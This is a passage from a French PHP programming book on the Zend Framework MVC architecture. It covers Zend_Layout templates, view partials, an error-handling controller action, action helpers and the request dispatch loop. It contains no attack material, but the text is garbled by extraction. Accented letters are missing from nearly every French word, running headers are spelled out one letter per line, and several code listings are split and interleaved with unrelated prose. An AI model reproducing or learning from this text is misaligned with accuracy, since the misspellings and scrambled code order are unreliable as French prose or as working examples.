Ce code a pour effet de lancer le mcanisme de gnration du gabarit et
de prciser le chemin contenant les gabarits. Dans notre cas, ce fichier
sera situ dans views/layouts.
Il est possible dindiquer dautres paramtres dans cette dclaration, tel
le gabarit utiliser, par exemple. Mais nous allons ici employer le nom
de fichier par dfaut du gabarit principal : layout.phtml. Il nest donc
pas indispensable de le prciser dans le bootstrap.
Figure 67
Composition de notre gabarit
de page (Zend_Layout)
Zend_Layout::startMvc(array('layoutPath' => $appPath . '/views/
layouts'));
T Boucle de dispatching
La boucle de dispatching est un processus
interne au modle MVC. Cest une boucle while
qui tourne tant quil reste des actions traiter
dans le systme. Elle est dtaille dans la partie
MVC avanc (chapitre 7).
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
90
Une fois la dclaration faite, nous pouvons passer ltape suivante : la
cration du fichier layout.phtml. Voici ce quil doit contenir, conform-
ment la figure 6-7 :
Fichier gabarit de page views/layouts/layout.phtml
Il est important de comprendre quoi servent les diffrents appels effec-
tus dans ce gabarit, qui sont par ailleurs illustrs dans la figure 6-7 :
les appels$this->head*() sont des aides permettant dcrire les don-
nes spcifiques contenues dans la balise <head> de lapplication. Il
<html>
<?php echo $this->doctype("XHTML1_TRANSITIONAL"), PHP_EOL; ?>
<head>
<base href="http://<?php echo $_SERVER['SERVER_NAME']
X . $this->baseUrl(); ?>/" />
<?php echo $this->headMeta()
->setHttpEquiv('Content-Type', 'text/html;
X charset=utf-8')
->setHttpEquiv('Content-Style-Type', 'text/css')
->setHttpEquiv('lang', 'fr')
->setHttpEquiv('imagetoolbar', 'no')
->setName('author', 'Julien Pauli - Guillaume Ponon')
->setName('generator', 'ZendFramework 1.6')
->setName('language', 'fr');
echo $this->headLink(array('rel' => 'favicon',
'type' => 'image/x-icon',
'href' => 'images/favicon.ico'));
echo $this->headTitle($this->pageTitle);
echo $this->headStyle()->appendStyle('@import
X "css/styles.css";&apos;);
echo $this->headLink()->setAlternate(
X $this->link('webservice', 'rss'),
X 'application/rss+xml',
X $this->translate('Liste des rservations'));
?>
</head>
<body>
<div class="container">
<div id="header">
<?php echo $this->partial('common/header.phtml',
array('pageTitle' => $this->pageTitle)); ?>
</div>
<div id="submenu" style="display: none">
<?php echo $this->layout()->submenu; ?></div>
<div id="page"><?php echo $this->layout()->content; ?>
</div>
<div id="footer">
<?php echo $this->partial('common/footer.phtml'); ?></div>
</div>
</body>
</html>
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
91
existe des mthodes head*() spcifiques diffrents types de balises :
headMeta(), headLink(), headTitle(), headStyle()... ;
les invocations $this->partial() font appel une sous-vue. Le con-
texte de la vue appele nest pas celui du gabarit, do limportance de
transmettre les paramtres dynamiques, ce qui est fait ici avec le titre
de la page ;
$this->layout()->content affiche le contenu de la page. Cet appel
est li au contenu renvoy par chaque action, par dfaut au contenu
de la vue lie laction ;
$this->layout()->submenu affiche le sous-menu ventuel. Celui-ci
doit tre pralablement dclar dans le contrleur.
En-tte et pied de page
Les deux appels $this->partial() utilisent des vues situes dans le dos-
sier views/scripts/common. Leur contenu ne prsente pas de difficult
en soi. Len-tte (header) affiche un titre ainsi que quelques liens et le
pied de page (footer) un copyright avec galement quelques liens. Seul le
header fait un appel un peu spcial laction index/login qui affichera
par la suite le contenu du formulaire de login. Nous pouvons nous con-
tenter de mettre ce mcanisme en commentaire pour linstant.
Contenu du haut de page common/header.phtml
Contenu du bas de page common/footer.phtml
<?php /* echo $this->action('index', 'login'); */ ?>
<div style="float: right; padding-top: 3px">
<a href="<?php echo $this->baseUrl(); ?>">
<?php echo $this->translate("accueil"); ?>
</a> |
<a href="<?php echo $this->url(array(), 'contact'); ?>">
<?php echo $this->translate("nous contacter"); ?>
</a> |
</div>
<div style="padding-top: 3px">
<?php echo $this->escape($this->pageTitle); ?>
</div>
<a href="<?php echo $this->link('index', 'language', null,
array('lang'=>'en'));?>">english</a> |
<a href="<?php echo $this->link('index', 'language', null,
array('lang'=>'fr'));?>">franais</a>
<br /><?php echo $this->translate("&copy; 2008 notre socit -
tous droits rserv"); ?>
T Aide de vue
Le mcanisme des aides de vues est utile pour fac-
toriser des petites oprations frquentes situes
dans les templates (gabarits) de vues. Ces aides
sont gnralement stockes dans le dossier
views/helpers. Leur mcanisme est dcrit
dans le chapitre 7.
RENVOI $this->translate()
Dans le code ci-contre, une mthode spciale
$this->translate() est appele. Elle
permet de prendre en charge la traduction auto-
matique dune chane de caractres. Pour linstant
vous pouvez vous passer de cette mthode que
nous verrons plus loin, dans le chapitre 9.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
92
Dclaration du sous-menu
Cette dclaration seffectue dans la mthode init() de
ReservationController. Elle consiste en la cration dun paramtre de
vue $submenu qui sera exploit par une sous-vue consacre la gnration
du menu, common/submenu.phtml. Voici le contenu de cette dclaration :
Dclaration du sous-menu dans ReservationController::init()
Une fois le sous-menu dclar, il faut encore crer le fichier common/
submenu.phtml qui est lui-mme une vue (la sous-vue mentionne dans le
paragraphe prcdent), et qui est donc situ dans views/scripts. Nous
avons choisi le dossier common car il sagit dune vue spciale qui peut tre
utilise dans plusieurs contrleurs. Voici son contenu :
Dclaration du sous-menu dans ReservationController::init()
...
// Rcupration des variables utiles
$controller = $this->getRequest()->getParam('controller');
$defaultAction = $this->getFrontController()-
>getDefaultAction();
// cration du sous menu
$this->view->submenu = array(
$this->view->link($controller, $defaultAction) =>
X $this->view->translate('accueil'),
$this->view->url(array(), 'reservations') =>
X $this->view->translate('lister'),
$this->view->link($controller, 'edit') =>
X $this->view->translate('ajouter'),
$this->view->link($controller, 'export') =>
X $this->view->translate('exporter')
);
// rendu du sous-menu dans le segment 'submenu' de la rponse
// Le Layout va ragir ceci.
$this->renderScript('common/submenu.phtml', 'submenu');
...
<?php if (isset($this->submenu)) : ?>
<script language="javascript"><!--
document.getElementById('submenu').style.display = 'block';
// -->
</script>
<div id="submenu">
<ul>
<?php foreach ($this->submenu as $link => $label) : ?>
<li><a href="<?php echo $link; ?>"><?php echo $label; ?>
</a></li>
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
93
Ce code se contente simplement dafficher un menu depuis le tableau
$this->submenu, qui fournit des couples cl/valeur correspondant res-
pectivement aux liens et leurs libells.
Gestion par dfaut des erreurs
Nous avons vu prcdemment quil existe une action par dfaut
IndexController::indexAction() qui est appele automatiquement
lorsquaucun contrleur ou action nest prcis dans lURL. Sur ce mme
principe, il existe une action spciale ErrorController::errorAction()
qui est automatiquement sollicite lorsquune exception non intercepte
survient.
Cette action peut tre trs utile. Dans lapplication exemple, nous allons
dvelopper les fonctionnalits suivantes :
traitement des exceptions par le renvoi dun code derreur et dun
contenu de page derreur adapt ;
suppression du contenu de la page si une partie ou la totalit de celui-
ci a t gnr avant lerreur ;
affichage de lerreur si nous sommes en mode debug ;
ajout de lerreur dans un fichier de log.
Voici le code qui permet datteindre cet objectif :
Contenu de la mthode spciale ErrorController::errorAction()
<?php endforeach; ?>
</ul>
</div>
<?php endif; ?>
// rcupration du paramtre derreur
$errors = $this->_getParam('error_handler');
// analyse de la provenance de lerreur
if ($errors->exception instanceof Zend_Controller_Exception) {
$log = "notice";
$this->getResponse()->setHttpResponseCode(404);
$this->view->setTitrePage("Page introuvable");
$this->view->message = $this->view->translate("La page que
vous demandez na pu tre trouve");
} elseif ($errors->exception instanceof Zend_Db_Exception) {
$log = "emerg";
$this->getResponse()->setHttpResponseCode(503);
$this->view->setTitrePage("Problme de base de donnes");
$this->view->message = $this->view->translate("Un Problme
de base de donnes nous empche de servir votre requte");
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
94
Lexception lie lerreur courante est rcupre grce lappel
$this->_getParam('error_handler'). Elle est ensuite traite via lins-
truction switch qui, pour chaque type derreur, dtermine son niveau, le
code renvoy au navigateur dans la rponse, le titre de la page derreur et
le message.
Les journaux derreurs sont traits par un objet log rcupr depuis le
registre. Cet objet est pralablement dclar dans le bootstrap :
Dclaration de lobjet log dans le bootstrap (index.php)
Les aides daction
Laide daction est une solution lgante de factorisation du code con-
tenu dans les actions. En dautres termes, chaque fois quune section de
code est amene tre duplique dune action lautre, il est utile
demployer une aide daction.
} elseif ($errors->exception instanceof Zfbook_UserException) {
$log = "user";
$this->view->setTitrePage("Vous avez commis une erreur");
$this->view->message = $this->view->translate($errors-
>exception->getMessage());
} else {
$this->getResponse()->setHttpResponseCode(503);
$log = "alert";
$this->view->setTitrePage("Erreur de lapplication");
$this->view->message = $this->view->translate("Notre site
est momentanment indisponible");
}
// vide le contenu de la rponse
$this->_response->clearBody();
// si en mode debug
if ($this->getInvokeArg('debug') == 1) {
// crase le message, affiche lexception complte
$this->view->message = $errors->exception;
}
// enregistrement de lerreur avec un niveau $log personnalis
Zend_Registry::get('log')->$log($errors->exception);
RENVOI Utilisation de Zend_Log
De plus amples informations sur Zend_Log sont
disponibles dans le chapitre 4. Reportez-vous y
pour complter la gestion du log.
$writer = new Zend_Log_Writer_Stream($appPath . $configMain->logfile)
$log = new Zend_Log($writer);
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
95
Il existe plusieurs aides daction par dfaut, auxquelles nous pouvons
ajouter les aides utilisateur. Voici la liste non exhaustive de quelques
aides daction disponibles par dfaut dans Zend Framework :
FlashMessenger : permet la gestion de messages persistants ;
ContextSwitch : employ pour raliser un affichage personnalis dun
contenu en fonction dun contexte (utilis dans listAction() dans
notre application) ;
Json : pour la gnration dun contenu JSON ;
Redirector : gre les redirections HTTP ;
Url : permet la gnration dURL de manire simple ;
ViewRenderer : aide qui gre le rendu de la vue et la gestion de ce
mcanisme ;
AjaxContext, AutoCompletionDojo, AutoCompletionScriptaculous :
simplifient les mcanismes Ajax, en particulier lautocompltion de
formulaires...
Les aides daction de Zend Framework sont situes dans le rpertoire
Zend/Controller/Action/Helper.
Utiliser une aide daction existante
Laide daction est disponible dans nimporte quelle action via la pro-
prit $this->_helper. En dehors des actions, notamment dans les com-
posants, nous pouvons faire appel ces objets en utilisant la mthode
statique Zend_Controller_Action_HelperBroker::getStaticHelper().
Un exemple concret est prsent dans la section suivante, Crer une aide
daction utilisateur.
titre dexemple, nous pouvons utiliser laide daction ViewRenderer
dans la mthode dinitialisation ReservationController::init(). Nous
avons fait appel, dans une section prcdente, la mthode
renderScript() pour effectuer le rendu du sous-menu. Cet appel annule
le rendu automatique des vues dont nous voulons pourtant bnficier
dans les actions du contrleur rservation. Pour ractiver le rendu auto-
matique des vues, nous devons invoquer laide daction ViewRenderer qui
nous donne accs aux mthodes du gestionnaire de vues :
Ractivation du rendu automatique des vues dans ReservationController::init()
// par dfaut un appel render() annule le rendu automatique
// restauration du rendu via le helper viewRenderer.
$this->_helper->viewRenderer->setNoRender(false);
RENVOI ViewRenderer
ViewRenderer est laide daction grce
laquelle on obtient une vue aprs lexcution de
toute action. Sa configuration dtaille, ainsi que
son fonctionnement, sont abords dans le
chapitre 7, MVC avanc.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
96
Crer une aide daction utilisateur
Concrtement, les aides daction utilisateur sont situes dans les compo-
sants. Par convention, la liste des aides se trouve dans le rpertoire
library/Zfbook/Controller/ActionHelpers. Il est donc ncessaire de
dclarer la prsence des aides daction utilisateur dans le bootstrap :
Dclaration du rpertoire racine des aides daction
Une fois cette dclaration effectue, nous pouvons crire nos aides.
Dans notre application, nous ferons souvent appel un mcanisme de
redirection vers la page prcdente, avec un ventuel message, par
exemple pour le changement de langue ou le traitement de certaines
erreurs. Pour cela, nous allons crer une aide daction
RedirectorToOrigin. Cette aide va tre place dans le fichier
RedirectorToOrigin.php, dans le rpertoire contenant les aides daction.
Ce fichier devra contenir une classe conforme laide daction de Zend
Framework :
Laide daction RedirectorToOrigin
// Ajout du chemin des aides daction dans le gestionnaire
// daides MVC
Zend_Controller_Action_HelperBroker::addPrefix('Zfbook_Controller_ActionHelpers');
<?php
/**
* Aide daction permettant la redirection vers la page prcdente
*/
class Zfbook_Controller_ActionHelpers_RedirectorToOrigin
extends Zend_Controller_Action_Helper_Abstract
{
public function direct($message = null)
{
// Insertion du message dans le flash messenger
if (!is_null($message)) {
Zend_Controller_Action_HelperBroker::getStaticHelper(
X 'FlashMessenger')->addMessage($message);
}
// Redirection
if (!isset(Zend_Registry::get('session')->requestUri)) {
$gotoUrl = $this->getFrontController()->getBaseUrl();
} else {
$gotoUrl = Zend_Registry::get('session')->requestUri;
}
Zend_Controller_Action_HelperBroker::getStaticHelper('Redirector')
X ->setCode(303)->gotoUrl($gotoUrl, array("prependBase" => false));
}
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
97
Une aide daction possde les spcificits suivantes :
elle hrite de Zend_Controller_Action_Helper_Abstract ;
elle dispose dune mthode direct() lie au design pattern strategy
spcifique laide daction.
Lorsquune aide daction est appele, la mthode direct() est automati-
quement sollicite. Ici, nous utilisons deux aides par dfaut de Zend
Framework : FlashMessenger et Redirector. La premire permet de
rendre le message persistant, tandis que la deuxime assure la redirec-
tion. La mthode direct() est dailleurs compose de deux parties : le
traitement du message et la redirection. Si aucune page prcdente nest
dtecte, alors la redirection se fait sur lURL de base (accueil) de lappli-
cation.
La mthode setFlashMessengerNamespace() sert associer un espace de
nom au message de manire viter tout conflit de messages. Nous ver-
rons dans lexemple dutilisation comment appeler cette mthode.
Quant la mthode LoginController::loginAction(), elle va utiliser
RedirectorToOrigin pour maintenir la page courante lors dune opra-
tion didentification. Voici la manire dont nous allons utiliser notre aide
daction :
Squelette de LoginController::loginAction()
public function setFlashMessengerNamespace($namespace)
{
Zend_Controller_Action_HelperBroker::getStaticHelper('FlashMessenger')
X ->setNamespace($namespace);
return $this;
}
}
/**
* Identification
*/
public function loginAction()
{
// attribution du namespace dans le flashmessenger pour
// le message derreur ventuel
$this->_helper->redirectorToOrigin->setFlashMessengerNamespace('loginForm');

// si lidentification est OK
if (/* identification OK */) {
// traitements ...
$this->_helper->redirectorToOrigin();
} else {
$this->_helper->redirectorToOrigin('login ou mot de passe incorrect');
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
98
Ce script dfinit un espace de noms pour les messages de redirection de
laction courante. RedirectorToOrigin est utilis sans message si lidenti-
fication a t effectue avec succs, avec un message derreur dans le cas
contraire.
BONNES PRATIQUES O crire son code ?
La lecture de ce chapitre, celle de lannexe E consacre au modle MVC,
ainsi quun peu de bon sens suffisent rpondre cette question. Mais
quelques petits rappels ne font pas de mal au sujet de cette question
combien importante. Je dois ajouter une fonctionnalit ou crer une
application avec Zend Framework : o dois-je crire mon code ?
La premire tape ne ncessite pas dordinateur, juste une feuille
blanche ou, mieux, un tableau blanc. Elle consiste effectuer une
modlisation rapide de la manire dont la fonctionnalit va tre dve-
loppe. Pour cela, il est important de se poser quelques questions
essentielles :
Quel est le but de ma fonctionnalit ? quel besoin rpond-elle ?
De quelles donnes ai-je besoin ? Quelles tables, quels champs
dans la base de donnes sont-ils concerns ?
Quelles sont les nouvelles pages de ma fonctionnalit ? Que vont-
elles afficher ? De quels mcanismes vont-elles dpendre ?
Que puis-je remployer? Comment puis-je isoler ces fonctionna-
lits rutilisables du reste du code ?
Quest-ce qui, dans les contrleurs et les vues, sera redondant ?
Ne disposerais-je pas dj de fonctionnalits similaires que je
pourrais rutiliser ?
En dfinitive, lobjectif de ces questions est de prvoir une rpartition
intelligente du code dans lenvironnement Zend Framework. La ques-
tion de la rutilisabilit, en particulier, est importante, car elle permet
de rduire le nombre de lignes de code et de faciliter la maintenance
et les volutions de lapplication. Voici, en rponse cela, une propo-
sition de plan daction pour dvelopper une nouvelle fonctionnalit :
dterminer quelles sont les fonctionnalits principales et les isoler ;
faire la liste des composants qui vont tre rutiliss dans cette
nouvelle fonctionnalit, y compris ceux qui devront subir une
volution ;
vrifier les affirmations suivantes :
- il ny a aucune fonctionnalit spcifique dans les composants
dvelopper dans library, sauf sil sagit dun composant qui
porte directement sur ma fonctionnalit ;
- mes contrleurs ne seront pas encombrs de code redondant et
potentiellement rutilisable. Jai prvu des aides daction pour
factoriser les traitements similaires, et mes actions ne dpasseront
pas 20 lignes de code ;
- mes modles rpondent exactement mes besoins, ni plus ni
moins. Je ne fais pas dextraction de donnes inutiles et jai cr
des vues adaptes mes besoins, ainsi que les modles
correspondants ;
- mes vues sont bien ranges, et tout code commun est plac dans
une aide de vue, une vue partielle ou un gabarit (layout).
dvelopper et prendre le temps de remanier lexistant, car il y a
toujours des dtails amliorer : entorse aux rgles de Zend Fra-
mework, code mettre en facteur, action mal place, etc...
Enfin, pour terminer sur ce sujet, et au risque de nous rpter, voici
les diffrents moyens qui existent et quil faut avoir en tte pour ru-
tiliser avec Zend Framework :
le composant, plac quelque part dans la hirarchie du rpertoire
library, permet une rutilisation entre plusieurs applications. Il
est particulirement adapt des dveloppements lourds et
pourra mme tre plac sur un disque rseau, commun toutes
les applications ;
laide daction permet de rutiliser des mcanismes redondants
dans les actions : formatage, traitement de donnes, factorisation
de fonctionnalits, etc ;
laide de vue permet de faire la mme chose avec la partie
prsentation : factorisation de code commun comme les gabarits
de pages ou de blocs, les menus, laffichage dune remarque ou
dun bloc, etc. ;
linjection dun plugin ( base de Zend_Controller_
Plugin_Abstract, abord dans le chapitre suivant) permet la
mise en uvre de composants rutilisables qui concernent la
partie MVC de lapplication ;
les mthodes de prdispatching et de postdispatching. Nous
avons vu jusquici init() et postDispatch(). Une bonne
comprhension de la boucle de dispatching (aborde dans le cha-
pitre suivant) peut vous permettre de rpartir correctement votre
code suivant son domaine de rutilisation : contrleur, inter-con-
trleur, inter-module, etc.
Lapplication que nous mettons en uvre dans cet ouvrage offre une
rpartition de code classique, telle que Zend Framework la recommande.
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
99
En rsum
Nous venons dapprendre utiliser des composants essentiels tels que
Zend_Controller, Zend_Layout ou Zend_View. Il est important dassimiler
leur rle et leurs mcanismes fondamentaux. Voici les points cls
retenir :
Le composant contrleur Zend_Controller fournit les mcanismes du
contrleur frontal, du routage et du dispatching de Zend Framework. Il
propose galement la mise en place de plugins et daides d'action que
lon peut lier la boucle de dispatching.
Le composant Zend_View assure la gestion du contenu des pages
(HTML, etc.). Il propose pour chaque template un environnement
clos et contrl ainsi que des aides de vue pour mettre en facteur les
blocs de contenu redondants.
Le composant Zend_Layout permet la mise en place dun ou plusieurs
gabarits principaux. Il est souvent utilis pour le gabarit gnral des
pages dune application web.
Groupe Eyrolles, 2008
chapitre 7
Groupe Eyrolles, 2008
Architecture MVC avance
Lexploitation dun outil ne peut tre optimale
sans une parfaite matrise de celui-ci. Dans le cadre
dun dveloppement critique, il est ncessaire de comprendre
les mcanismes internes du composant qui se trouve au cur
de votre systme. La matrise du cur est lassurance vie
de tout projet stratgique.
SOMMAIRE
BArchitecture interne
du composant Zend_Controller
BParcours dtaill dune requte
HTTP travers MVC
COMPOSANTS
BZend_Controller
BZend_Layout
BZend_View
MOTS-CLS
BMVC
Bbootstrap
Bdispatching
Broutage
Bplugin
Bhelper
Bhandler
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
102
Nous venons daborder la mise en place dune architecture MVC simple
avec Zend Framework. Nous allons maintenant entrer dans les entrailles
des objets du modle MVC. Une comprhension prcise et complte de
la mcanique gnrale permet en effet de mieux aborder le systme et de
mieux traiter des problmes complexes.
Zend_Controller : utilisation avance
Bien comprendre, en profondeur, le fonctionnement du modle MVC
de Zend Framework est un atout considrable pour construire des appli-
cations robustes, puissantes, testables et volutives. Il sagit en fait de
comprendre exactement ce que produit chaque ligne de code que lon
crit, et pour cela, nous allons ici dtailler une grande partie des objets
internes au modle MVC de Zend Framework, toujours au travers de
notre application exemple.
Attention, certains concepts de ce chapitre ncessitent de votre part une
parfaite matrise du modle objet et une bonne comprhension gnrale
du pattern MVC de Zend Framework (voir pour cela les annexes C et E).
Les diffrents objets de MVC
La figure 7-2 illustre les principaux objets que lon dtaillera par la suite.
Cette section prsente le rle de ces objets, et les sections suivantes
dcriront leur utilisation dtaille dans le workflow de Zend_Controller.
Figure 71 Diagramme de classes global simplifi du modle MVC de ZendFramework
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
103
Le contrleur frontal (FrontController) est un motif de conception des-
tin prendre en charge lanalyse de toutes les requtes du visiteur. Il est
le seul et unique point dentre de lapplication et va orchestrer toute la
suite. Il est ainsi reprsent par un objet de la plus haute importance.
Comme il reprsente (conceptuellement) lapplication part entire, il
sagit dun singleton qui est initialis dans un fichier spcial, que lon
appelle fichier damorage ou bootstrap.
Lobjet de requte va reprsenter la requte HTTP dentre dans le sys-
tme. Cet objet va alors principalement donner accs aux en-ttes de
la requte et il sera pass tous les contrleurs daction.
Lobjet de rponse reprsente la rponse HTTP renvoye au client. Le
rendu dune vue seffectue lintrieur de cet objet, qui ne recevra
lordre denvoyer son contenu (affichage de la rponse) qu la toute
fin du processus.
Le routeur : le rle de cet objet est danalyser la requte et den
dduire un trio module/contrleur/action en fonction de certaines
rgles de routage, elles aussi reprsentes sous forme dobjets.
Le distributeur (que lon appelle aussi dispatcheur) est un objet qui a
pour rle de dtecter si le trio module/contrleur/action peut tre
lanc. Il va contrler le processus de traitement de laction et ven-
tuellement proposer des valeurs par dfaut. Cest lui qui intervient
dans ce quon appelle la boucle de distribution et rpartition de la requte
(aussi appele boucle de dispatching).
VOCABULAIRE Bootstrap
Le bootstrap est le fichier damorage du sys-
tme MVC. Bas sur un contrleur frontal, il est
aussi lunique point dentre de lapplication et
sera le seul fichier PHP disponible la racine du
site (dans le DocumentRoot dApache). Ce
fichier est le seul tre nomm index.php (en
gnral).
Figure 72
Principaux objets lis Zend_Controller
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
104
Les contrleurs daction sont les objets qui vont dcrire le processus
mtier de traitement dune requte. Ce sont des classes importantes
que les dveloppeurs doivent entirement crire. On les appelle plus
communment les contrleurs.
Les plugins sont des objets grs par le contrleur frontal. Il en existe
dans la distribution de base, mais on peut aussi en ajouter des person-
naliss. Ils servent factoriser un traitement redondant dans tout le
systme de distribution.
Le rle des aides daction est trs proche de celui des plugins. Ces
objets encapsulent du code redondant dans toutes les actions du sys-
tme mais, contrairement aux plugins, ils peuvent interagir directe-
ment avec laction laquelle ils sont rattachs.
La vue est reprsente par un objet qui contiendra en gnral du code
HTML. Son rle est dagencer et dafficher les informations en pro-
venance des contrleurs daction.
Le layout est un template de vue particulier. Sa particularit est quil
se situe un niveau plus haut et encapsule la vue initiale. Son but
principal est de dfinir le gabarit HTML de lapplication (qui com-
prend souvent len-tte, le pied de page, les styles CSS, etc.).
Fonctionnement global de MVC
Ce quil est trs important de noter, pour comprendre le modle MVC,
cest que la requte et la rponse HTTP du systme sont des objets,
entirement guids par le contrleur frontal (qui dlgue pour sa part
beaucoup de traitements dautres objets, comme le distributeur ou dis-
patcheur, par exemple). Sur la figure 7-2, chaque cercle reprsent cor-
respond un objet.
Figure 73
Schma global du traitement MVC
de Zend Framework
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
105
Excution du processus de distribution de la requte
Tout ce processus de traitement de la requte, en vue de crer et de rem-
plir une rponse, est appel processus de distribution et de rpartition de la
requte. Il intgre que que lon appelle la boucle de distribution et de rpar-
tition, illustre sur les figures 7-4 et 7-5.
T Distribution et rpartition
de la requte
La distribution de la requte (dispatching, appel
parfois dispatchage), doit tre comprise comme le
processus de distribution, de suivi et de traitement
de lobjet de requte dans le systme MVC global.
Cest la moelle pinire de MVC.
Figure 74
Schma dtaill du traitement MVC
de Zend Framework
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
106
Lorsquon lance le processus de distribution et de rpartition de la
requte en appelant la mthode dispatch() sur linstance du contrleur
frontal (note FC ), le processus gnral suivant est alors excut (on
suppose ici que lon a une structure basique, que tous les fichiers existent
et que tout se passe normalement) :
1 FC initialise les plugins, le routeur, le distributeur et cre un objet de
requte et un objet de rponse, tous les deux vierges.
2 FC excute routeStartup() pour tous les plugins qui lui ont t
injects.
3 FC excute une routine sur le routeur pour rcuprer trois paramtres
dans lobjet de requte : un module, un contrleur et une action.
4 FC excute routeShutdown() pour tous les plugins qui lui ont t
injects.
5 FC excute dispatchLoopStartup() pour tous les plugins qui lui ont
t injects.
6 FC entre dans la boucle de distribution et de rpartition de la
requte, tant que lobjet de requte nest pas distribu :
FC marque lobjet de requte comme tant distribu
(isDispatched() = true) ;
FC excute preDispatch() pour tous les plugins qui lui ont t
injects ;
FC demande au distributeur de distribuer lobjet de requte pra-
lablement rempli par le routeur. Il connat donc dj ses module,
contrleur et action ;
le distributeur instancie le contrleur daction ;
le distributeur marque lobjet de requte comme distribu, afin de
pouvoir sortir de la boucle de distribution de la requte ;
le distributeur excute dispatch() sur le contrleur daction ;
le contrleur daction initialis excute sa mthode init() ;
le contrleur daction excute notifyPreDispatch() pour toutes les
aides daction qui lui ont t passes ;
le contrleur daction excute son preDispatch() ;
le contrleur daction excute son action MVC, il sagit l du code
mtier principal ;
le contrleur daction excute son postDispatch() ;
le contrleur daction excute notifyPostDispatch() pour toutes
les aides daction qui lui ont t passes, dont une (active par
dfaut) qui se charge de rendre la vue dans lobjet de rponse ;
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
107
FC excute postDispatch() pour tous les plugins qui lui ont t
injects ;
la boucle de distribution et de rpartition de la requte recom-
mence si la requte nest pas marque comme distribue
(typiquement : redirection HTTP ou dcoupage dune action en
plusieurs contrleurs).
7 FC excute dispatchLoopShutdown() pour tous les plugins qui lui ont
t injects.
8 FC demande lobjet de rponse complt de safficher.
Figure 75 Diagramme de squence simplifi du processus MVC de Zend Framework
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
108
Un processus flexible et avanc
Ce long processus, qui semble complexe premire vue, propose en ra-
lit une flexibilit de programmation avance. La figure 7-5 propose un
diagramme de squence simplifi du processus MVC, tandis que la
figure 7-6 illustre le cheminement dune requte travers le routage et la
distribution de la requte. Les plugins, notamment, reprsentent un
intrt certain. Agissant en partie dans la boucle de distribution et de
rpartition de la requte, il est facile de rassembler des responsabilits pr-
cises de lapplication dans un plugin.
Figure 76
Parcours dune requte travers le routage
et la distribution de la requte
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
109
On aura par exemple un plugin dauthentification qui se chargera de
veiller ce quon ne puisse accder une ressource que par un rle parti-
culier, ou encore par un plugin de cache qui se chargera de reprer si
laction en cours a dj t distribue et, le cas chant, de fournir une
version de la rponse depuis le cache. Les possibilits sont infinies et
vont dpendre de lapplication et de ses besoins, sachant quun plugin
pourra, la plupart du temps, tre rutilis entre plusieurs applications.
Zend Framework enregistre lui-mme par dfaut un plugin dans le con-
trleur frontal lors de son lancement : errorHandler.
Les aides daction, quant elles, vont permettre de mettre en commun
des processus que les actions utilisent. On voit, sur le diagramme de
squence (figure 7-5) et le parcours de la requte (figure 7-6), que les
aides daction (HelperBroker) ont un champ daction moindre que les
plugins. Zend Framework enregistre pour lui-mme une aide daction
lors du lancement du traitement MVC : ViewRenderer. Son rle est de
rendre automatiquement une vue la fin de toute action, sauf si une
mention contraire lui a t spcifie.
Fonctionnement dtaill des objets du modle MVC
Nous venons de comprendre lalgorithme gnral du routage et de la dis-
tribution, ainsi que les principales tapes de ce processus. Dans les sec-
tions qui suivent, nous allons tudier plus en dtail les objets qui entrent
en jeu dans ce processus et leur utilit.
Contrleur frontal (FrontController)
Introduction
Comme nous lavons dj vu, le contrleur frontal possde un rle dune
grande importance : il sagit du chef dorchestre de lapplication (voir la
figure 7-2). Cest lui qui va soccuper de crer et darticuler entre eux une
trs grande partie des objets intervenant dans le processus MVC. Ainsi, si
on a besoin dun objet, il est fort probable que le contrleur frontal soit en
mesure de nous le fournir, directement ou indirectement. On notera donc,
sur les schmas UML, le nombre important de dpendances de cet objet.
Le contrleur frontal tant un singleton, il est possible de faire appel
lui o que ce soit, dans nimporte quel fichier.
Lappel du bootstrap est une tape importante pour le contrleur frontal,
car cest cet endroit que lon va le crer. Cest galement l quon va
ventuellement le configurer, cest--dire lui passer des paramtres ou
des objets qui vont alors tre propags dans le processus MVC, avant de
lancer la distribution, via sa mthode dispatch().
RAPPEL POO et rutilisabilit
Rappelez-vous que la dmarche oriente objet
permet de distinguer trs clairement les responsa-
bilits du code. Dans MVC plus quailleurs encore,
chaque objet possde un groupe de responsabi-
lits trs prcises et complmentaires. Si lon a
besoin dune information, il nexiste quun seul
objet susceptible de la fournir. Il sagit alors de
savoir comment y accder, ventuellement en pas-
